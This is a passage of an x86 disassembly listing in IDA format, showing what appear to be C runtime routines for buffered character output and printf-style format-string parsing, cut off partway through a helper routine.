		push	ebx
		call	sub_424080
		test	eax, eax
		pop	ecx
		jnz	short loc_41F81C


loc_41F815:				; CODE XREF: sub_41F7AA+5Ej
		push	esi
		call	sub_423C3A
		pop	ecx


loc_41F81C:				; CODE XREF: sub_41F7AA+4Ej
					; sub_41F7AA+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41F889
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41F84C
		push	edi
		push	eax
		push	ebx
		call	loc_422BF6
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41F87F
; ---------------------------------------------------------------------------


loc_41F84C:				; CODE XREF: sub_41F7AA+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41F867
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, ds:dword_4DE1E0[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41F86C
; ---------------------------------------------------------------------------


loc_41F867:				; CODE XREF: sub_41F7AA+A5j
		mov	eax, offset dword_43F860


loc_41F86C:				; CODE XREF: sub_41F7AA+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41F87F
		push	2
		push	0
		push	ebx
		call	sub_422A04
		add	esp, 0Ch


loc_41F87F:				; CODE XREF: sub_41F7AA+A0j
					; sub_41F7AA+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41F89D
; ---------------------------------------------------------------------------


loc_41F889:				; CODE XREF: sub_41F7AA+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	loc_422BF6
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41F89D:				; CODE XREF: sub_41F7AA+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41F8A9
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41F8B8
; ---------------------------------------------------------------------------


loc_41F8A9:				; CODE XREF: sub_41F7AA+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41F8BB
; ---------------------------------------------------------------------------


loc_41F8B3:				; CODE XREF: sub_41F7AA+10j
					; sub_41F7AA+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41F8B8:				; CODE XREF: sub_41F7AA+FDj
		or	eax, 0FFFFFFFFh


loc_41F8BB:				; CODE XREF: sub_41F7AA+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F7AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F8BF	proc near		; CODE XREF: sub_41BA76+29p
					; sub_41BB70+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41FFD8
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41F8F3
; ---------------------------------------------------------------------------


loc_41F8EB:				; CODE XREF: sub_41F8BF+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41F8F3:				; CODE XREF: sub_41F8BF+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41FFD8
		cmp	bl, 20h
		jl	short loc_41F914
		cmp	bl, 78h
		jg	short loc_41F914
		movsx	eax, bl
		mov	al, byte ptr ds:(a__global_heap_+10h)[eax]
		and	eax, 0Fh
		jmp	short loc_41F916
; ---------------------------------------------------------------------------


loc_41F914:				; CODE XREF: sub_41F8BF+40j
					; sub_41F8BF+45j
		xor	eax, eax


loc_41F916:				; CODE XREF: sub_41F8BF+53j
		movsx	eax, ds:byte_42875C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41FFC7	; default
		jmp	ds:off_41FFE0[eax*4] ; switch jump


loc_41F934:				; DATA XREF: seg000:off_41FFE0o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041F92D case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41FFC7	; default
; ---------------------------------------------------------------------------


loc_41F94F:				; CODE XREF: sub_41F8BF+6Ej
					; DATA XREF: seg000:off_41FFE0o
		movsx	eax, bl		; jumptable 0041F92D case 2
		sub	eax, 20h
		jz	short loc_41F992
		sub	eax, 3
		jz	short loc_41F989
		sub	eax, 8
		jz	short loc_41F980
		dec	eax
		dec	eax
		jz	short loc_41F977
		sub	eax, 3
		jnz	loc_41FFC7	; default
		or	[ebp+var_4], 8
		jmp	loc_41FFC7	; default
; ---------------------------------------------------------------------------


loc_41F977:				; CODE XREF: sub_41F8BF+A4j
		or	[ebp+var_4], 4
		jmp	loc_41FFC7	; default
; ---------------------------------------------------------------------------


loc_41F980:				; CODE XREF: sub_41F8BF+A0j
		or	[ebp+var_4], 1
		jmp	loc_41FFC7	; default
; ---------------------------------------------------------------------------


loc_41F989:				; CODE XREF: sub_41F8BF+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41FFC7	; default
; ---------------------------------------------------------------------------


loc_41F992:				; CODE XREF: sub_41F8BF+96j
		or	[ebp+var_4], 2
		jmp	loc_41FFC7	; default
; ---------------------------------------------------------------------------


loc_41F99B:				; CODE XREF: sub_41F8BF+6Ej
					; DATA XREF: seg000:off_41FFE0o
		cmp	bl, 2Ah		; jumptable 0041F92D case 3
		jnz	short loc_41F9C3
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42009E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41FFC7	; default
		or	[ebp+var_4], 4
		neg	eax


loc_41F9BB:				; CODE XREF: sub_41F8BF+111j
		mov	[ebp+var_20], eax
		jmp	loc_41FFC7	; default
; ---------------------------------------------------------------------------


loc_41F9C3:				; CODE XREF: sub_41F8BF+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41F9BB
; ---------------------------------------------------------------------------


loc_41F9D2:				; CODE XREF: sub_41F8BF+6Ej
					; DATA XREF: seg000:off_41FFE0o
		mov	[ebp+var_10], edx ; jumptable 0041F92D case 4
		jmp	loc_41FFC7	; default
; ---------------------------------------------------------------------------


loc_41F9DA:				; CODE XREF: sub_41F8BF+6Ej
					; DATA XREF: seg000:off_41FFE0o
		cmp	bl, 2Ah		; jumptable 0041F92D case 5
		jnz	short loc_41F9FD
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42009E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41FFC7	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41FFC7	; default
; ---------------------------------------------------------------------------


loc_41F9FD:				; CODE XREF: sub_41F8BF+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41FFC7	; default
; ---------------------------------------------------------------------------


loc_41FA0F:				; CODE XREF: sub_41F8BF+6Ej
					; DATA XREF: seg000:off_41FFE0o
		cmp	bl, 49h		; jumptable 0041F92D case 6
		jz	short loc_41FA42
		cmp	bl, 68h
		jz	short loc_41FA39
		cmp	bl, 6Ch
		jz	short loc_41FA30
		cmp	bl, 77h
		jnz	loc_41FFC7	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41FFC7	; default
; ---------------------------------------------------------------------------


loc_41FA30:				; CODE XREF: sub_41F8BF+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41FFC7	; default
; ---------------------------------------------------------------------------


loc_41FA39:				; CODE XREF: sub_41F8BF+158j
		or	[ebp+var_4], 20h
		jmp	loc_41FFC7	; default
; ---------------------------------------------------------------------------


loc_41FA42:				; CODE XREF: sub_41F8BF+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41FA5B
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41FA5B
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41FFC7	; default
; ---------------------------------------------------------------------------


loc_41FA5B:				; CODE XREF: sub_41F8BF+186j
					; sub_41F8BF+18Cj
		mov	[ebp+var_30], edx


loc_41FA5E:				; CODE XREF: sub_41F8BF+6Ej
					; DATA XREF: seg000:off_41FFE0o
		mov	ecx, ds:off_43EF88 ; jumptable 0041F92D	case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41FA8A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_420000
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_41FA8A:				; CODE XREF: sub_41F8BF+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_420000
		add	esp, 0Ch
		jmp	loc_41FFC7	; default
; ---------------------------------------------------------------------------


loc_41FAA2:				; CODE XREF: sub_41F8BF+6Ej
					; DATA XREF: seg000:off_41FFE0o
		movsx	eax, bl		; jumptable 0041F92D case 7
		cmp	eax, 67h
		jg	loc_41FCCA
		cmp	eax, 65h
		jge	loc_41FB4D
		cmp	eax, 58h
		jg	loc_41FBAB
		jz	loc_41FD3E
		sub	eax, 43h
		jz	loc_41FB6E
		dec	eax
		dec	eax
		jz	short loc_41FB43
		dec	eax
		dec	eax
		jz	short loc_41FB43
		sub	eax, 0Ch
		jnz	loc_41FEC9
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41FAEC
		or	byte ptr [ebp+var_4+1],	8


loc_41FAEC:				; CODE XREF: sub_41F8BF+227j
					; sub_41F8BF+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FAF9
		mov	esi, 7FFFFFFFh


loc_41FAF9:				; CODE XREF: sub_41F8BF+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42009E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41FD12
		test	ecx, ecx
		jnz	short loc_41FB21
		mov	ecx, ds:off_43F1A4
		mov	[ebp+var_8], ecx


loc_41FB21:				; CODE XREF: sub_41F8BF+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_41FB2A:				; CODE XREF: sub_41F8BF+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41FD09
		cmp	word ptr [eax],	0
		jz	loc_41FD09
		inc	eax
		inc	eax
		jmp	short loc_41FB2A
; ---------------------------------------------------------------------------


loc_41FB43:				; CODE XREF: sub_41F8BF+212j
					; sub_41F8BF+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_41FB4D:				; CODE XREF: sub_41F8BF+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41FC31
		mov	[ebp+var_10], 6
		jmp	loc_41FC3F
; ---------------------------------------------------------------------------


loc_41FB6E:				; CODE XREF: sub_41F8BF+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41FB7A
		or	byte ptr [ebp+var_4+1],	8


loc_41FB7A:				; CODE XREF: sub_41F8BF+2B5j
					; sub_41F8BF+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBC1
		call	sub_4200BB
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_4240A6
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41FBD4
		mov	[ebp+var_28], 1
		jmp	short loc_41FBD4
; ---------------------------------------------------------------------------


loc_41FBAB:				; CODE XREF: sub_41F8BF+1FBj
		sub	eax, 5Ah
		jz	short loc_41FBE2
		sub	eax, 9
		jz	short loc_41FB7A
		dec	eax
		jz	loc_41FDA4
		jmp	loc_41FEC9
; ---------------------------------------------------------------------------


loc_41FBC1:				; CODE XREF: sub_41F8BF+2C5j
		call	sub_42009E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_41FBD4:				; CODE XREF: sub_41F8BF+2E1j
					; sub_41F8BF+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41FEC9
; ---------------------------------------------------------------------------


loc_41FBE2:				; CODE XREF: sub_41F8BF+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42009E
		test	eax, eax
		pop	ecx
		jz	short loc_41FC23
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41FC23
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41FC14
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41FEC9
; ---------------------------------------------------------------------------


loc_41FC14:				; CODE XREF: sub_41F8BF+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41FEC6
; ---------------------------------------------------------------------------


loc_41FC23:				; CODE XREF: sub_41F8BF+32Fj
					; sub_41F8BF+336j
		mov	eax, ds:off_43F1A0
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41FCBF
; ---------------------------------------------------------------------------


loc_41FC31:				; CODE XREF: sub_41F8BF+29Dj
		jnz	short loc_41FC3F
		cmp	bl, 67h
		jnz	short loc_41FC3F
		mov	[ebp+var_10], 1


loc_41FC3F:				; CODE XREF: sub_41F8BF+2AAj
					; sub_41F8BF:loc_41FC31j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	ds:off_43F530
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41FC91
		cmp	[ebp+var_10], 0
		jnz	short loc_41FC91
		lea	eax, [ebp+var_248]
		push	eax
		call	ds:off_43F53C
		pop	ecx


loc_41FC91:				; CODE XREF: sub_41F8BF+3BCj
					; sub_41F8BF+3C2j
		cmp	bl, 67h
		jnz	short loc_41FCA8
		test	esi, esi
		jnz	short loc_41FCA8
		lea	eax, [ebp+var_248]
		push	eax
		call	ds:off_43F534
		pop	ecx


loc_41FCA8:				; CODE XREF: sub_41F8BF+3D5j
					; sub_41F8BF+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41FCBE
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41FCBE:				; CODE XREF: sub_41F8BF+3F0j
		push	edi


loc_41FCBF:				; CODE XREF: sub_41F8BF+36Dj
		call	sub_41B1D0
		pop	ecx
		jmp	loc_41FEC6
; ---------------------------------------------------------------------------


loc_41FCCA:				; CODE XREF: sub_41F8BF+1E9j
		sub	eax, 69h
		jz	loc_41FDA4
		sub	eax, 5
		jz	loc_41FD7A
		dec	eax
		jz	loc_41FD67
		dec	eax
		jz	short loc_41FD37
		sub	eax, 3
		jz	loc_41FAEC
		dec	eax
		dec	eax
		jz	loc_41FDA8
		sub	eax, 3
		jnz	loc_41FEC9
		mov	[ebp+var_2C], 27h
		jmp	short loc_41FD45
; ---------------------------------------------------------------------------


loc_41FD09:				; CODE XREF: sub_41F8BF+270j
					; sub_41F8BF+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41FEC6
; ---------------------------------------------------------------------------


loc_41FD12:				; CODE XREF: sub_41F8BF+24Fj
		test	ecx, ecx
		jnz	short loc_41FD1F
		mov	ecx, ds:off_43F1A0
		mov	[ebp+var_8], ecx


loc_41FD1F:				; CODE XREF: sub_41F8BF+455j
		mov	eax, ecx


loc_41FD21:				; CODE XREF: sub_41F8BF+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41FD30
		cmp	byte ptr [eax],	0
		jz	short loc_41FD30
		inc	eax
		jmp	short loc_41FD21
; ---------------------------------------------------------------------------


loc_41FD30:				; CODE XREF: sub_41F8BF+467j
					; sub_41F8BF+46Cj
		sub	eax, ecx
		jmp	loc_41FEC6
; ---------------------------------------------------------------------------


loc_41FD37:				; CODE XREF: sub_41F8BF+425j
		mov	[ebp+var_10], 8


loc_41FD3E:				; CODE XREF: sub_41F8BF+201j
		mov	[ebp+var_2C], 7


loc_41FD45:				; CODE XREF: sub_41F8BF+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41FDAF
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41FDAF
; ---------------------------------------------------------------------------


loc_41FD67:				; CODE XREF: sub_41F8BF+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41FDAF
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41FDAF
; ---------------------------------------------------------------------------


loc_41FD7A:				; CODE XREF: sub_41F8BF+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42009E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41FD93
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41FD98
; ---------------------------------------------------------------------------


loc_41FD93:				; CODE XREF: sub_41F8BF+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41FD98:				; CODE XREF: sub_41F8BF+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41FFC7	; default
; ---------------------------------------------------------------------------


loc_41FDA4:				; CODE XREF: sub_41F8BF+2F7j
					; sub_41F8BF+40Ej
		or	[ebp+var_4], 40h


loc_41FDA8:				; CODE XREF: sub_41F8BF+432j
		mov	[ebp+var_C], 0Ah


loc_41FDAF:				; CODE XREF: sub_41F8BF+491j
					; sub_41F8BF+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41FDC1
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4200AB
		pop	ecx
		jmp	short loc_41FE02
; ---------------------------------------------------------------------------


loc_41FDC1:				; CODE XREF: sub_41F8BF+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41FDE8
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FDDD
		call	sub_42009E
		pop	ecx
		movsx	eax, ax


loc_41FDDA:				; CODE XREF: sub_41F8BF+527j
					; sub_41F8BF+539j
		cdq
		jmp	short loc_41FE02
; ---------------------------------------------------------------------------


loc_41FDDD:				; CODE XREF: sub_41F8BF+510j
		call	sub_42009E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41FDDA
; ---------------------------------------------------------------------------


loc_41FDE8:				; CODE XREF: sub_41F8BF+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FDFA
		call	sub_42009E
		pop	ecx
		jmp	short loc_41FDDA
; ---------------------------------------------------------------------------


loc_41FDFA:				; CODE XREF: sub_41F8BF+531j
		call	sub_42009E
		pop	ecx
		xor	edx, edx


loc_41FE02:				; CODE XREF: sub_41F8BF+500j
					; sub_41F8BF+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41FE23
		test	edx, edx
		jg	short loc_41FE23
		jl	short loc_41FE12
		test	eax, eax
		jnb	short loc_41FE23


loc_41FE12:				; CODE XREF: sub_41F8BF+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41FE27
; ---------------------------------------------------------------------------


loc_41FE23:				; CODE XREF: sub_41F8BF+547j
					; sub_41F8BF+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_41FE27:				; CODE XREF: sub_41F8BF+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41FE30
		and	edi, 0


loc_41FE30:				; CODE XREF: sub_41F8BF+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41FE3F
		mov	[ebp+var_10], 1
		jmp	short loc_41FE43
; ---------------------------------------------------------------------------


loc_41FE3F:				; CODE XREF: sub_41F8BF+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_41FE43:				; CODE XREF: sub_41F8BF+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41FE4D
		and	[ebp+var_1C], 0


loc_41FE4D:				; CODE XREF: sub_41F8BF+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_41FE53:				; CODE XREF: sub_41F8BF+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41FE63
		mov	eax, esi
		or	eax, edi
		jz	short loc_41FE9E


loc_41FE63:				; CODE XREF: sub_41F8BF+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41D6A0
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41D630
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41FE94
		add	ebx, [ebp+var_2C]


loc_41FE94:				; CODE XREF: sub_41F8BF+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41FE53
; ---------------------------------------------------------------------------


loc_41FE9E:				; CODE XREF: sub_41F8BF+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41FEC9
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41FEBC
		test	eax, eax
		jnz	short loc_41FEC9


loc_41FEBC:				; CODE XREF: sub_41F8BF+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41FEC6:				; CODE XREF: sub_41F8BF+35Fj
					; sub_41F8BF+406j ...
		mov	[ebp+var_C], eax


loc_41FEC9:				; CODE XREF: sub_41F8BF+21Bj
					; sub_41F8BF+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41FFC7	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41FF01
		test	bh, 1
		jz	short loc_41FEE6
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41FEFA
; ---------------------------------------------------------------------------


loc_41FEE6:				; CODE XREF: sub_41F8BF+61Fj
		test	bl, 1
		jz	short loc_41FEF1
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41FEFA
; ---------------------------------------------------------------------------


loc_41FEF1:				; CODE XREF: sub_41F8BF+62Aj
		test	bl, 2
		jz	short loc_41FF01
		mov	[ebp+var_16], 20h


loc_41FEFA:				; CODE XREF: sub_41F8BF+625j
					; sub_41F8BF+630j
		mov	[ebp+var_1C], 1


loc_41FF01:				; CODE XREF: sub_41F8BF+61Aj
					; sub_41F8BF+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41FF21
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_420035
		add	esp, 10h


loc_41FF21:				; CODE XREF: sub_41F8BF+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_420066
		add	esp, 10h
		test	bl, 8
		jz	short loc_41FF53
		test	bl, 4
		jnz	short loc_41FF53
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_420035
		add	esp, 10h


loc_41FF53:				; CODE XREF: sub_41F8BF+67Bj
					; sub_41F8BF+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41FF9A
		cmp	[ebp+var_C], 0
		jle	short loc_41FF9A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_41FF68:				; CODE XREF: sub_41F8BF+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_4240A6
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41FFAF
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_420066
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41FF68
		jmp	short loc_41FFAF
; ---------------------------------------------------------------------------


loc_41FF9A:				; CODE XREF: sub_41F8BF+698j
					; sub_41F8BF+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_420066
		add	esp, 10h


loc_41FFAF:				; CODE XREF: sub_41F8BF+6BCj
					; sub_41F8BF+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41FFC7 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_420035
		add	esp, 10h


loc_41FFC7:				; CODE XREF: sub_41F8BF+68j
					; sub_41F8BF+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41F8EB


loc_41FFD8:				; CODE XREF: sub_41F8BF+1Fj
					; sub_41F8BF+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F8BF	endp

; ---------------------------------------------------------------------------
off_41FFE0	dd offset loc_41FA5E	; DATA XREF: sub_41F8BF+6Er
		dd offset loc_41F934	; jump table for switch	statement
		dd offset loc_41F94F
		dd offset loc_41F99B
		dd offset loc_41F9D2
		dd offset loc_41F9DA
		dd offset loc_41FA0F
		dd offset loc_41FAA2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420000	proc near		; CODE XREF: sub_41F8BF+1BDp
					; sub_41F8BF+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_420019
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_420024
; ---------------------------------------------------------------------------


loc_420019:				; CODE XREF: sub_420000+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41F7AA
		pop	ecx
		pop	ecx


loc_420024:				; CODE XREF: sub_420000+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_420031
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420031:				; CODE XREF: sub_420000+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_420000	endp


; =============== S U B	R O U T	I N E =======================================



sub_420035	proc near		; CODE XREF: sub_41F8BF+65Ap
					; sub_41F8BF+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_420063
		mov	esi, [esp+8+arg_C]


loc_420046:				; CODE XREF: sub_420035+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_420000
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_420063
		mov	eax, edi
		dec	edi
		test	eax, eax
